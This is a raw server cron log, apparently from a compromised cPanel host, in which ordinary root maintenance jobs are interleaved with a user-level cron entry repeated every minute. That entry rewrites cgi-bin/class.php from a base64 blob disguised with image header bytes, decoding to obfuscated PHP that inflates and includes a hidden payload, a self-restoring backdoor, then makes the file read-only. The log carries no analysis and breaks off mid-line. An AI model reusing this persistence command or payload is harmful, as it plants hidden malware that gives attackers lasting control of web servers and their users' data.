Apr  9 12:13:01 server CROND[937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:14:01 server CROND[1095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:15:01 server CROND[1220]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  9 12:15:01 server CROND[1221]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 12:15:01 server CROND[1223]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 12:15:01 server CROND[1222]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr  9 12:15:01 server CROND[1224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:16:01 server CROND[1374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:17:01 server CROND[1431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:18:01 server CROND[1479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:19:01 server CROND[1672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:20:01 server CROND[1756]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 12:20:01 server CROND[1759]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 12:20:01 server CROND[1760]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 12:20:01 server CROND[1762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:20:01 server CROND[1761]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 12:21:01 server CROND[1907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:22:01 server CROND[1973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:23:01 server CROND[2036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:24:01 server CROND[2096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:25:01 server CROND[2253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:25:01 server CROND[2255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 12:25:01 server CROND[2254]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  9 12:25:01 server CROND[2257]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 12:26:01 server CROND[2370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmK